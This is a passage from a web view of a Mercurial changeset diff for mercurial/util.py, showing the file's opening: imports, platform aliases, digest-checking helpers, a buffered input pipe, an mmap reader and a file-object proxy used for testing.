##// END OF EJS Templates
typing: make minor adjustments to mercurial/util.py to pass pytype checking...
Matt Harbison -
r47663:51841b23 default
parent child Browse files
Show More
@@ -1,3732 +1,3735 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
4 # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import collections
19 import collections
20 import contextlib
20 import contextlib
21 import errno
21 import errno
22 import gc
22 import gc
23 import hashlib
23 import hashlib
24 import itertools
24 import itertools
25 import locale
25 import locale
26 import mmap
26 import mmap
27 import os
27 import os
28 import platform as pyplatform
28 import platform as pyplatform
29 import re as remod
29 import re as remod
30 import shutil
30 import shutil
31 import socket
31 import socket
32 import stat
32 import stat
33 import sys
33 import sys
34 import time
34 import time
35 import traceback
35 import traceback
36 import warnings
36 import warnings
37
37
38 from .thirdparty import attr
38 from .thirdparty import attr
39 from .pycompat import (
39 from .pycompat import (
40 delattr,
40 delattr,
41 getattr,
41 getattr,
42 open,
42 open,
43 setattr,
43 setattr,
44 )
44 )
45 from .node import hex
45 from .node import hex
46 from hgdemandimport import tracing
46 from hgdemandimport import tracing
47 from . import (
47 from . import (
48 encoding,
48 encoding,
49 error,
49 error,
50 i18n,
50 i18n,
51 policy,
51 policy,
52 pycompat,
52 pycompat,
53 urllibcompat,
53 urllibcompat,
54 )
54 )
55 from .utils import (
55 from .utils import (
56 compression,
56 compression,
57 hashutil,
57 hashutil,
58 procutil,
58 procutil,
59 stringutil,
59 stringutil,
60 )
60 )
61
61
62 if pycompat.TYPE_CHECKING:
62 if pycompat.TYPE_CHECKING:
63 from typing import (
63 from typing import (
64 Iterator,
64 Iterator,
65 List,
65 List,
66 Optional,
66 Optional,
67 Tuple,
67 Tuple,
68 Union,
68 Union,
69 )
69 )
70
70
71
71
72 base85 = policy.importmod('base85')
72 base85 = policy.importmod('base85')
73 osutil = policy.importmod('osutil')
73 osutil = policy.importmod('osutil')
74
74
75 b85decode = base85.b85decode
75 b85decode = base85.b85decode
76 b85encode = base85.b85encode
76 b85encode = base85.b85encode
77
77
78 cookielib = pycompat.cookielib
78 cookielib = pycompat.cookielib
79 httplib = pycompat.httplib
79 httplib = pycompat.httplib
80 pickle = pycompat.pickle
80 pickle = pycompat.pickle
81 safehasattr = pycompat.safehasattr
81 safehasattr = pycompat.safehasattr
82 socketserver = pycompat.socketserver
82 socketserver = pycompat.socketserver
83 bytesio = pycompat.bytesio
83 bytesio = pycompat.bytesio
84 # TODO deprecate stringio name, as it is a lie on Python 3.
84 # TODO deprecate stringio name, as it is a lie on Python 3.
85 stringio = bytesio
85 stringio = bytesio
86 xmlrpclib = pycompat.xmlrpclib
86 xmlrpclib = pycompat.xmlrpclib
87
87
88 httpserver = urllibcompat.httpserver
88 httpserver = urllibcompat.httpserver
89 urlerr = urllibcompat.urlerr
89 urlerr = urllibcompat.urlerr
90 urlreq = urllibcompat.urlreq
90 urlreq = urllibcompat.urlreq
91
91
92 # workaround for win32mbcs
92 # workaround for win32mbcs
93 _filenamebytestr = pycompat.bytestr
93 _filenamebytestr = pycompat.bytestr
94
94
95 if pycompat.iswindows:
95 if pycompat.iswindows:
96 from . import windows as platform
96 from . import windows as platform
97 else:
97 else:
98 from . import posix as platform
98 from . import posix as platform
99
99
100 _ = i18n._
100 _ = i18n._
101
101
102 bindunixsocket = platform.bindunixsocket
102 bindunixsocket = platform.bindunixsocket
103 cachestat = platform.cachestat
103 cachestat = platform.cachestat
104 checkexec = platform.checkexec
104 checkexec = platform.checkexec
105 checklink = platform.checklink
105 checklink = platform.checklink
106 copymode = platform.copymode
106 copymode = platform.copymode
107 expandglobs = platform.expandglobs
107 expandglobs = platform.expandglobs
108 getfsmountpoint = platform.getfsmountpoint
108 getfsmountpoint = platform.getfsmountpoint
109 getfstype = platform.getfstype
109 getfstype = platform.getfstype
110 groupmembers = platform.groupmembers
110 groupmembers = platform.groupmembers
111 groupname = platform.groupname
111 groupname = platform.groupname
112 isexec = platform.isexec
112 isexec = platform.isexec
113 isowner = platform.isowner
113 isowner = platform.isowner
114 listdir = osutil.listdir
114 listdir = osutil.listdir
115 localpath = platform.localpath
115 localpath = platform.localpath
116 lookupreg = platform.lookupreg
116 lookupreg = platform.lookupreg
117 makedir = platform.makedir
117 makedir = platform.makedir
118 nlinks = platform.nlinks
118 nlinks = platform.nlinks
119 normpath = platform.normpath
119 normpath = platform.normpath
120 normcase = platform.normcase
120 normcase = platform.normcase
121 normcasespec = platform.normcasespec
121 normcasespec = platform.normcasespec
122 normcasefallback = platform.normcasefallback
122 normcasefallback = platform.normcasefallback
123 openhardlinks = platform.openhardlinks
123 openhardlinks = platform.openhardlinks
124 oslink = platform.oslink
124 oslink = platform.oslink
125 parsepatchoutput = platform.parsepatchoutput
125 parsepatchoutput = platform.parsepatchoutput
126 pconvert = platform.pconvert
126 pconvert = platform.pconvert
127 poll = platform.poll
127 poll = platform.poll
128 posixfile = platform.posixfile
128 posixfile = platform.posixfile
129 readlink = platform.readlink
129 readlink = platform.readlink
130 rename = platform.rename
130 rename = platform.rename
131 removedirs = platform.removedirs
131 removedirs = platform.removedirs
132 samedevice = platform.samedevice
132 samedevice = platform.samedevice
133 samefile = platform.samefile
133 samefile = platform.samefile
134 samestat = platform.samestat
134 samestat = platform.samestat
135 setflags = platform.setflags
135 setflags = platform.setflags
136 split = platform.split
136 split = platform.split
137 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
137 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
138 statisexec = platform.statisexec
138 statisexec = platform.statisexec
139 statislink = platform.statislink
139 statislink = platform.statislink
140 umask = platform.umask
140 umask = platform.umask
141 unlink = platform.unlink
141 unlink = platform.unlink
142 username = platform.username
142 username = platform.username
143
143
144
144
145 def setumask(val):
145 def setumask(val):
146 # type: (int) -> None
146 # type: (int) -> None
147 ''' updates the umask. used by chg server '''
147 ''' updates the umask. used by chg server '''
148 if pycompat.iswindows:
148 if pycompat.iswindows:
149 return
149 return
150 os.umask(val)
150 os.umask(val)
151 global umask
151 global umask
152 platform.umask = umask = val & 0o777
152 platform.umask = umask = val & 0o777
153
153
154
154
155 # small compat layer
155 # small compat layer
156 compengines = compression.compengines
156 compengines = compression.compengines
157 SERVERROLE = compression.SERVERROLE
157 SERVERROLE = compression.SERVERROLE
158 CLIENTROLE = compression.CLIENTROLE
158 CLIENTROLE = compression.CLIENTROLE
159
159
160 try:
160 try:
161 recvfds = osutil.recvfds
161 recvfds = osutil.recvfds
162 except AttributeError:
162 except AttributeError:
163 pass
163 pass
164
164
165 # Python compatibility
165 # Python compatibility
166
166
167 _notset = object()
167 _notset = object()
168
168
169
169
170 def bitsfrom(container):
170 def bitsfrom(container):
171 bits = 0
171 bits = 0
172 for bit in container:
172 for bit in container:
173 bits |= bit
173 bits |= bit
174 return bits
174 return bits
175
175
176
176
177 # python 2.6 still have deprecation warning enabled by default. We do not want
177 # python 2.6 still have deprecation warning enabled by default. We do not want
178 # to display anything to standard user so detect if we are running test and
178 # to display anything to standard user so detect if we are running test and
179 # only use python deprecation warning in this case.
179 # only use python deprecation warning in this case.
180 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
180 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
181 if _dowarn:
181 if _dowarn:
182 # explicitly unfilter our warning for python 2.7
182 # explicitly unfilter our warning for python 2.7
183 #
183 #
184 # The option of setting PYTHONWARNINGS in the test runner was investigated.
184 # The option of setting PYTHONWARNINGS in the test runner was investigated.
185 # However, module name set through PYTHONWARNINGS was exactly matched, so
185 # However, module name set through PYTHONWARNINGS was exactly matched, so
186 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
186 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
187 # makes the whole PYTHONWARNINGS thing useless for our usecase.
187 # makes the whole PYTHONWARNINGS thing useless for our usecase.
188 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
188 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
189 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
189 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
190 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
190 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
191 if _dowarn and pycompat.ispy3:
191 if _dowarn and pycompat.ispy3:
192 # silence warning emitted by passing user string to re.sub()
192 # silence warning emitted by passing user string to re.sub()
193 warnings.filterwarnings(
193 warnings.filterwarnings(
194 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
194 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
195 )
195 )
196 warnings.filterwarnings(
196 warnings.filterwarnings(
197 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
197 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
198 )
198 )
199 # TODO: reinvent imp.is_frozen()
199 # TODO: reinvent imp.is_frozen()
200 warnings.filterwarnings(
200 warnings.filterwarnings(
201 'ignore',
201 'ignore',
202 'the imp module is deprecated',
202 'the imp module is deprecated',
203 DeprecationWarning,
203 DeprecationWarning,
204 'mercurial',
204 'mercurial',
205 )
205 )
206
206
207
207
208 def nouideprecwarn(msg, version, stacklevel=1):
208 def nouideprecwarn(msg, version, stacklevel=1):
209 """Issue an python native deprecation warning
209 """Issue an python native deprecation warning
210
210
211 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
211 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
212 """
212 """
213 if _dowarn:
213 if _dowarn:
214 msg += (
214 msg += (
215 b"\n(compatibility will be dropped after Mercurial-%s,"
215 b"\n(compatibility will be dropped after Mercurial-%s,"
216 b" update your code.)"
216 b" update your code.)"
217 ) % version
217 ) % version
218 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
218 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
219 # on python 3 with chg, we will need to explicitly flush the output
219 # on python 3 with chg, we will need to explicitly flush the output
220 sys.stderr.flush()
220 sys.stderr.flush()
221
221
222
222
223 DIGESTS = {
223 DIGESTS = {
224 b'md5': hashlib.md5,
224 b'md5': hashlib.md5,
225 b'sha1': hashutil.sha1,
225 b'sha1': hashutil.sha1,
226 b'sha512': hashlib.sha512,
226 b'sha512': hashlib.sha512,
227 }
227 }
228 # List of digest types from strongest to weakest
228 # List of digest types from strongest to weakest
229 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
229 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
230
230
231 for k in DIGESTS_BY_STRENGTH:
231 for k in DIGESTS_BY_STRENGTH:
232 assert k in DIGESTS
232 assert k in DIGESTS
233
233
234
234
235 class digester(object):
235 class digester(object):
236 """helper to compute digests.
236 """helper to compute digests.
237
237
238 This helper can be used to compute one or more digests given their name.
238 This helper can be used to compute one or more digests given their name.
239
239
240 >>> d = digester([b'md5', b'sha1'])
240 >>> d = digester([b'md5', b'sha1'])
241 >>> d.update(b'foo')
241 >>> d.update(b'foo')
242 >>> [k for k in sorted(d)]
242 >>> [k for k in sorted(d)]
243 ['md5', 'sha1']
243 ['md5', 'sha1']
244 >>> d[b'md5']
244 >>> d[b'md5']
245 'acbd18db4cc2f85cedef654fccc4a4d8'
245 'acbd18db4cc2f85cedef654fccc4a4d8'
246 >>> d[b'sha1']
246 >>> d[b'sha1']
247 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
247 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
248 >>> digester.preferred([b'md5', b'sha1'])
248 >>> digester.preferred([b'md5', b'sha1'])
249 'sha1'
249 'sha1'
250 """
250 """
251
251
252 def __init__(self, digests, s=b''):
252 def __init__(self, digests, s=b''):
253 self._hashes = {}
253 self._hashes = {}
254 for k in digests:
254 for k in digests:
255 if k not in DIGESTS:
255 if k not in DIGESTS:
256 raise error.Abort(_(b'unknown digest type: %s') % k)
256 raise error.Abort(_(b'unknown digest type: %s') % k)
257 self._hashes[k] = DIGESTS[k]()
257 self._hashes[k] = DIGESTS[k]()
258 if s:
258 if s:
259 self.update(s)
259 self.update(s)
260
260
261 def update(self, data):
261 def update(self, data):
262 for h in self._hashes.values():
262 for h in self._hashes.values():
263 h.update(data)
263 h.update(data)
264
264
265 def __getitem__(self, key):
265 def __getitem__(self, key):
266 if key not in DIGESTS:
266 if key not in DIGESTS:
267 raise error.Abort(_(b'unknown digest type: %s') % k)
267 raise error.Abort(_(b'unknown digest type: %s') % k)
268 return hex(self._hashes[key].digest())
268 return hex(self._hashes[key].digest())
269
269
270 def __iter__(self):
270 def __iter__(self):
271 return iter(self._hashes)
271 return iter(self._hashes)
272
272
273 @staticmethod
273 @staticmethod
274 def preferred(supported):
274 def preferred(supported):
275 """returns the strongest digest type in both supported and DIGESTS."""
275 """returns the strongest digest type in both supported and DIGESTS."""
276
276
277 for k in DIGESTS_BY_STRENGTH:
277 for k in DIGESTS_BY_STRENGTH:
278 if k in supported:
278 if k in supported:
279 return k
279 return k
280 return None
280 return None
281
281
282
282
283 class digestchecker(object):
283 class digestchecker(object):
284 """file handle wrapper that additionally checks content against a given
284 """file handle wrapper that additionally checks content against a given
285 size and digests.
285 size and digests.
286
286
287 d = digestchecker(fh, size, {'md5': '...'})
287 d = digestchecker(fh, size, {'md5': '...'})
288
288
289 When multiple digests are given, all of them are validated.
289 When multiple digests are given, all of them are validated.
290 """
290 """
291
291
292 def __init__(self, fh, size, digests):
292 def __init__(self, fh, size, digests):
293 self._fh = fh
293 self._fh = fh
294 self._size = size
294 self._size = size
295 self._got = 0
295 self._got = 0
296 self._digests = dict(digests)
296 self._digests = dict(digests)
297 self._digester = digester(self._digests.keys())
297 self._digester = digester(self._digests.keys())
298
298
299 def read(self, length=-1):
299 def read(self, length=-1):
300 content = self._fh.read(length)
300 content = self._fh.read(length)
301 self._digester.update(content)
301 self._digester.update(content)
302 self._got += len(content)
302 self._got += len(content)
303 return content
303 return content
304
304
305 def validate(self):
305 def validate(self):
306 if self._size != self._got:
306 if self._size != self._got:
307 raise error.Abort(
307 raise error.Abort(
308 _(b'size mismatch: expected %d, got %d')
308 _(b'size mismatch: expected %d, got %d')
309 % (self._size, self._got)
309 % (self._size, self._got)
310 )
310 )
311 for k, v in self._digests.items():
311 for k, v in self._digests.items():
312 if v != self._digester[k]:
312 if v != self._digester[k]:
313 # i18n: first parameter is a digest name
313 # i18n: first parameter is a digest name
314 raise error.Abort(
314 raise error.Abort(
315 _(b'%s mismatch: expected %s, got %s')
315 _(b'%s mismatch: expected %s, got %s')
316 % (k, v, self._digester[k])
316 % (k, v, self._digester[k])
317 )
317 )
318
318
319
319
320 try:
320 try:
321 buffer = buffer # pytype: disable=name-error
321 buffer = buffer # pytype: disable=name-error
322 except NameError:
322 except NameError:
323
323
324 def buffer(sliceable, offset=0, length=None):
324 def buffer(sliceable, offset=0, length=None):
325 if length is not None:
325 if length is not None:
326 return memoryview(sliceable)[offset : offset + length]
326 return memoryview(sliceable)[offset : offset + length]
327 return memoryview(sliceable)[offset:]
327 return memoryview(sliceable)[offset:]
328
328
329
329
330 _chunksize = 4096
330 _chunksize = 4096
331
331
332
332
333 class bufferedinputpipe(object):
333 class bufferedinputpipe(object):
334 """a manually buffered input pipe
334 """a manually buffered input pipe
335
335
336 Python will not let us use buffered IO and lazy reading with 'polling' at
336 Python will not let us use buffered IO and lazy reading with 'polling' at
337 the same time. We cannot probe the buffer state and select will not detect
337 the same time. We cannot probe the buffer state and select will not detect
338 that data are ready to read if they are already buffered.
338 that data are ready to read if they are already buffered.
339
339
340 This class let us work around that by implementing its own buffering
340 This class let us work around that by implementing its own buffering
341 (allowing efficient readline) while offering a way to know if the buffer is
341 (allowing efficient readline) while offering a way to know if the buffer is
342 empty from the output (allowing collaboration of the buffer with polling).
342 empty from the output (allowing collaboration of the buffer with polling).
343
343
344 This class lives in the 'util' module because it makes use of the 'os'
344 This class lives in the 'util' module because it makes use of the 'os'
345 module from the python stdlib.
345 module from the python stdlib.
346 """
346 """
347
347
348 def __new__(cls, fh):
348 def __new__(cls, fh):
349 # If we receive a fileobjectproxy, we need to use a variation of this
349 # If we receive a fileobjectproxy, we need to use a variation of this
350 # class that notifies observers about activity.
350 # class that notifies observers about activity.
351 if isinstance(fh, fileobjectproxy):
351 if isinstance(fh, fileobjectproxy):
352 cls = observedbufferedinputpipe
352 cls = observedbufferedinputpipe
353
353
354 return super(bufferedinputpipe, cls).__new__(cls)
354 return super(bufferedinputpipe, cls).__new__(cls)
355
355
356 def __init__(self, input):
356 def __init__(self, input):
357 self._input = input
357 self._input = input
358 self._buffer = []
358 self._buffer = []
359 self._eof = False
359 self._eof = False
360 self._lenbuf = 0
360 self._lenbuf = 0
361
361
362 @property
362 @property
363 def hasbuffer(self):
363 def hasbuffer(self):
364 """True is any data is currently buffered
364 """True is any data is currently buffered
365
365
366 This will be used externally a pre-step for polling IO. If there is
366 This will be used externally a pre-step for polling IO. If there is
367 already data then no polling should be set in place."""
367 already data then no polling should be set in place."""
368 return bool(self._buffer)
368 return bool(self._buffer)
369
369
370 @property
370 @property
371 def closed(self):
371 def closed(self):
372 return self._input.closed
372 return self._input.closed
373
373
374 def fileno(self):
374 def fileno(self):
375 return self._input.fileno()
375 return self._input.fileno()
376
376
377 def close(self):
377 def close(self):
378 return self._input.close()
378 return self._input.close()
379
379
380 def read(self, size):
380 def read(self, size):
381 while (not self._eof) and (self._lenbuf < size):
381 while (not self._eof) and (self._lenbuf < size):
382 self._fillbuffer()
382 self._fillbuffer()
383 return self._frombuffer(size)
383 return self._frombuffer(size)
384
384
385 def unbufferedread(self, size):
385 def unbufferedread(self, size):
386 if not self._eof and self._lenbuf == 0:
386 if not self._eof and self._lenbuf == 0:
387 self._fillbuffer(max(size, _chunksize))
387 self._fillbuffer(max(size, _chunksize))
388 return self._frombuffer(min(self._lenbuf, size))
388 return self._frombuffer(min(self._lenbuf, size))
389
389
390 def readline(self, *args, **kwargs):
390 def readline(self, *args, **kwargs):
391 if len(self._buffer) > 1:
391 if len(self._buffer) > 1:
392 # this should not happen because both read and readline end with a
392 # this should not happen because both read and readline end with a
393 # _frombuffer call that collapse it.
393 # _frombuffer call that collapse it.
394 self._buffer = [b''.join(self._buffer)]
394 self._buffer = [b''.join(self._buffer)]
395 self._lenbuf = len(self._buffer[0])
395 self._lenbuf = len(self._buffer[0])
396 lfi = -1
396 lfi = -1
397 if self._buffer:
397 if self._buffer:
398 lfi = self._buffer[-1].find(b'\n')
398 lfi = self._buffer[-1].find(b'\n')
399 while (not self._eof) and lfi < 0:
399 while (not self._eof) and lfi < 0:
400 self._fillbuffer()
400 self._fillbuffer()
401 if self._buffer:
401 if self._buffer:
402 lfi = self._buffer[-1].find(b'\n')
402 lfi = self._buffer[-1].find(b'\n')
403 size = lfi + 1
403 size = lfi + 1
404 if lfi < 0: # end of file
404 if lfi < 0: # end of file
405 size = self._lenbuf
405 size = self._lenbuf
406 elif len(self._buffer) > 1:
406 elif len(self._buffer) > 1:
407 # we need to take previous chunks into account
407 # we need to take previous chunks into account
408 size += self._lenbuf - len(self._buffer[-1])
408 size += self._lenbuf - len(self._buffer[-1])
409 return self._frombuffer(size)
409 return self._frombuffer(size)
410
410
411 def _frombuffer(self, size):
411 def _frombuffer(self, size):
412 """return at most 'size' data from the buffer
412 """return at most 'size' data from the buffer
413
413
414 The data are removed from the buffer."""
414 The data are removed from the buffer."""
415 if size == 0 or not self._buffer:
415 if size == 0 or not self._buffer:
416 return b''
416 return b''
417 buf = self._buffer[0]
417 buf = self._buffer[0]
418 if len(self._buffer) > 1:
418 if len(self._buffer) > 1:
419 buf = b''.join(self._buffer)
419 buf = b''.join(self._buffer)
420
420
421 data = buf[:size]
421 data = buf[:size]
422 buf = buf[len(data) :]
422 buf = buf[len(data) :]
423 if buf:
423 if buf:
424 self._buffer = [buf]
424 self._buffer = [buf]
425 self._lenbuf = len(buf)
425 self._lenbuf = len(buf)
426 else:
426 else:
427 self._buffer = []
427 self._buffer = []
428 self._lenbuf = 0
428 self._lenbuf = 0
429 return data
429 return data
430
430
431 def _fillbuffer(self, size=_chunksize):
431 def _fillbuffer(self, size=_chunksize):
432 """read data to the buffer"""
432 """read data to the buffer"""
433 data = os.read(self._input.fileno(), size)
433 data = os.read(self._input.fileno(), size)
434 if not data:
434 if not data:
435 self._eof = True
435 self._eof = True
436 else:
436 else:
437 self._lenbuf += len(data)
437 self._lenbuf += len(data)
438 self._buffer.append(data)
438 self._buffer.append(data)
439
439
440 return data
440 return data
441
441
442
442
443 def mmapread(fp, size=None):
443 def mmapread(fp, size=None):
444 if size == 0:
444 if size == 0:
445 # size of 0 to mmap.mmap() means "all data"
445 # size of 0 to mmap.mmap() means "all data"
446 # rather than "zero bytes", so special case that.
446 # rather than "zero bytes", so special case that.
447 return b''
447 return b''
448 elif size is None:
448 elif size is None:
449 size = 0
449 size = 0
450 try:
450 try:
451 fd = getattr(fp, 'fileno', lambda: fp)()
451 fd = getattr(fp, 'fileno', lambda: fp)()
452 return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
452 return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
453 except ValueError:
453 except ValueError:
454 # Empty files cannot be mmapped, but mmapread should still work. Check
454 # Empty files cannot be mmapped, but mmapread should still work. Check
455 # if the file is empty, and if so, return an empty buffer.
455 # if the file is empty, and if so, return an empty buffer.
456 if os.fstat(fd).st_size == 0:
456 if os.fstat(fd).st_size == 0:
457 return b''
457 return b''
458 raise
458 raise
459
459
460
460
461 class fileobjectproxy(object):
461 class fileobjectproxy(object):
462 """A proxy around file objects that tells a watcher when events occur.
462 """A proxy around file objects that tells a watcher when events occur.
463
463
464 This type is intended to only be used for testing purposes. Think hard
464 This type is intended to only be used for testing purposes. Think hard
465 before using it in important code.
465 before using it in important code.
466 """
466 """
467
467
468 __slots__ = (
468 __slots__ = (
469 '_orig',
469 '_orig',
470 '_observer',
470 '_observer',
471 )
471 )
472
472
473 def __init__(self, fh, observer):
473 def __init__(self, fh, observer):
474 object.__setattr__(self, '_orig', fh)
474 object.__setattr__(self, '_orig', fh)
475 object.__setattr__(self, '_observer', observer)
475 object.__setattr__(self, '_observer', observer)
476
476
477 def __getattribute__(self, name):
477 def __getattribute__(self, name):
478 ours = {
478 ours = {
479 '_observer',
479 '_observer',
480 # IOBase
480 # IOBase
481 'close',
481 'close',
482 # closed if a property
482 # closed if a property
483 'fileno',
483 'fileno',
484 'flush',
484 'flush',
485 'isatty',
485 'isatty',
486 'readable',
486 'readable',
487 'readline',
487 'readline',
488 'readlines',
488 'readlines',
489 'seek',
489 'seek',
490 'seekable',
490 'seekable',
491 'tell',
491 'tell',
492 'truncate',
492 'truncate',
493 'writable',
493 'writable',
494 'writelines',
494 'writelines',
495 # RawIOBase
495 # RawIOBase
496 'read',
496 'read',
497 'readall',
497 'readall',
498 'readinto',
498 'readinto',
499 'write',
499 'write',
500 # BufferedIOBase
500 # BufferedIOBase
501 # raw is a property
501 # raw is a property
502 'detach',
502 'detach',
503 # read defined above
503 # read defined above
504 'read1',
504 'read1',
505 # readinto defined above
505 # readinto defined above
506 # write defined above
506 # write defined above
507 }
507 }
508
508
509 # We only observe some methods.
509 # We only observe some methods.
510 if name in ours:
510 if name in ours:
511 return object.__getattribute__(self, name)
511 return object.__getattribute__(self, name)
512
512
513 return getattr(object.__getattribute__(self, '_orig'), name)
513 return getattr(object.__getattribute__(self, '_orig'), name)
514
514
515 def __nonzero__(self):
515 def __nonzero__(self):
516 return bool(object.__getattribute__(self, '_orig'))
516 return bool(object.__getattribute__(self, '_orig'))
517
517
518 __bool__ = __nonzero__
518 __bool__ = __nonzero__
519
519
520 def __delattr__(self, name):
520 def __delattr__(self, name):
521 return delattr(object.__getattribute__(self, '_orig'), name)
521 return delattr(object.__getattribute__(self, '_orig'), name)
522
522
523 def __setattr__(self, name, value):
523 def __setattr__(self, name, value):
524 return setattr(object.__getattribute__(self, '_orig'), name, value)
524 return setattr(object.__getattribute__(self, '_orig'), name, value)
525
525
526 def __iter__(self):
526 def __iter__(self):
527 return object.__getattribute__(self, '_orig').__iter__()
527 return object.__getattribute__(self, '_orig').__iter__()
528
528
529 def _observedcall(self, name, *args, **kwargs):
529 def _observedcall(self, name, *args, **kwargs):
530 # Call the original object.
530 # Call the original object.
531 orig = object.__getattribute__(self, '_orig')
531 orig = object.__getattribute__(self, '_orig')
532 res = getattr(orig, name)(*args, **kwargs)
532 res = getattr(orig, name)(*args, **kwargs)
533
533
534 # Call a method on the observer of the same name with arguments
534 # Call a method on the observer of the same name with arguments
535 # so it can react, log, etc.
535 # so it can react, log, etc.
536 observer = object.__getattribute__(self, '_observer')
536 observer = object.__getattribute__(self, '_observer')
537 fn = getattr(observer, name, None)
537 fn = getattr(observer, name, None)
538 if fn:
538 if fn:
539 fn(res, *args, **kwargs)
539 fn(res, *args, **kwargs)
540
540
541 return res
541 return res
542
542
543 def close(self, *args, **kwargs):
543 def close(self, *args, **kwargs):
544 return object.__getattribute__(self, '_observedcall')(
544 return object.__getattribute__(self, '_observedcall')(
545 'close', *args, **kwargs
545 'close', *args, **kwargs
546 )
546 )
547
547
548 def fileno(self, *args, **kwargs):
548 def fileno(self, *args, **kwargs):
549 return object.__getattribute__(self, '_observedcall')(
549 return object.__getattribute__(self, '_observedcall')(
550 'fileno', *args, **kwargs
550 'fileno', *args, **kwargs
551 )
551 )
552
552
553 def flush(self, *args, **kwargs):
553 def flush(self, *args, **kwargs):
554 return object.__getattribute__(self, '_observedcall')(
554 return object.__getattribute__(self, '_observedcall')(
555 'flush', *args, **kwargs
555 'flush', *args, **kwargs
556 )
556 )
557
557
558 def isatty(self, *args, **kwargs):
558 def isatty(self, *args, **kwargs):
559 return object.__getattribute__(self, '_observedcall')(
559 return object.__getattribute__(self, '_observedcall')(
560 'isatty', *args, **kwargs
560 'isatty', *args, **kwargs
561 )
561 )
562
562
563 def readable(self, *args, **kwargs):
563 def readable(self, *args, **kwargs):
564 return object.__getattribute__(self, '_observedcall')(
564 return object.__getattribute__(self, '_observedcall')(
565 'readable', *args, **kwargs
565 'readable', *args, **kwargs
566 )
566 )
567
567
568 def readline(self, *args, **kwargs):
568 def readline(self, *args, **kwargs):
569 return object.__getattribute__(self, '_observedcall')(
569 return object.__getattribute__(self, '_observedcall')(
570 'readline', *args, **kwargs
570 'readline', *args, **kwargs
571 )
571 )
572
572
573 def readlines(self, *args, **kwargs):
573 def readlines(self, *args, **kwargs):
574 return object.__getattribute__(self, '_observedcall')(
574 return object.__getattribute__(self, '_observedcall')(
575 'readlines', *args, **kwargs
575 'readlines', *args, **kwargs
576 )
576 )
577
577
578 def seek(self, *args, **kwargs):
578 def seek(self, *args, **kwargs):
579 return object.__getattribute__(self, '_observedcall')(
579 return object.__getattribute__(self, '_observedcall')(
580 'seek', *args, **kwargs
580 'seek', *args, **kwargs
581 )
581 )
582
582
583 def seekable(self, *args, **kwargs):
583 def seekable(self, *args, **kwargs):
584 return object.__getattribute__(self, '_observedcall')(
584 return object.__getattribute__(self, '_observedcall')(
585 'seekable', *args, **kwargs
585 'seekable', *args, **kwargs
586 )
586 )
587
587
588 def tell(self, *args, **kwargs):
588 def tell(self, *args, **kwargs):
589 return object.__getattribute__(self, '_observedcall')(
589 return object.__getattribute__(self, '_observedcall')(
590 'tell', *args, **kwargs
590 'tell', *args, **kwargs
591 )
591 )
592
592
593 def truncate(self, *args, **kwargs):
593 def truncate(self, *args, **kwargs):
594 return object.__getattribute__(self, '_observedcall')(
594 return object.__getattribute__(self, '_observedcall')(
595 'truncate', *args, **kwargs
595 'truncate', *args, **kwargs
596 )
596 )
597
597
598 def writable(self, *args, **kwargs):
598 def writable(self, *args, **kwargs):
599 return object.__getattribute__(self, '_observedcall')(
599 return object.__getattribute__(self, '_observedcall')(
600 'writable', *args, **kwargs
600 'writable', *args, **kwargs
601 )
601 )
602
602
603 def writelines(self, *args, **kwargs):
603 def writelines(self, *args, **kwargs):
604 return object.__getattribute__(self, '_observedcall')(
604 return object.__getattribute__(self, '_observedcall')(
605 'writelines', *args, **kwargs
605 'writelines', *args, **kwargs
606 )
606 )
607
607
608 def read(self, *args, **kwargs):
608 def read(self, *args, **kwargs):
609 return object.__getattribute__(self, '_observedcall')(
609 return object.__getattribute__(self, '_observedcall')(
610 'read', *args, **kwargs
610 'read', *args, **kwargs
611 )
611 )
612
612
613 def readall(self, *args, **kwargs):
613 def readall(self, *args, **kwargs):
614 return object.__getattribute__(self, '_observedcall')(
614 return object.__getattribute__(self, '_observedcall')(
615 'readall', *args, **kwargs
615 'readall', *args, **kwargs
616 )
616 )
617
617
618 def readinto(self, *args, **kwargs):
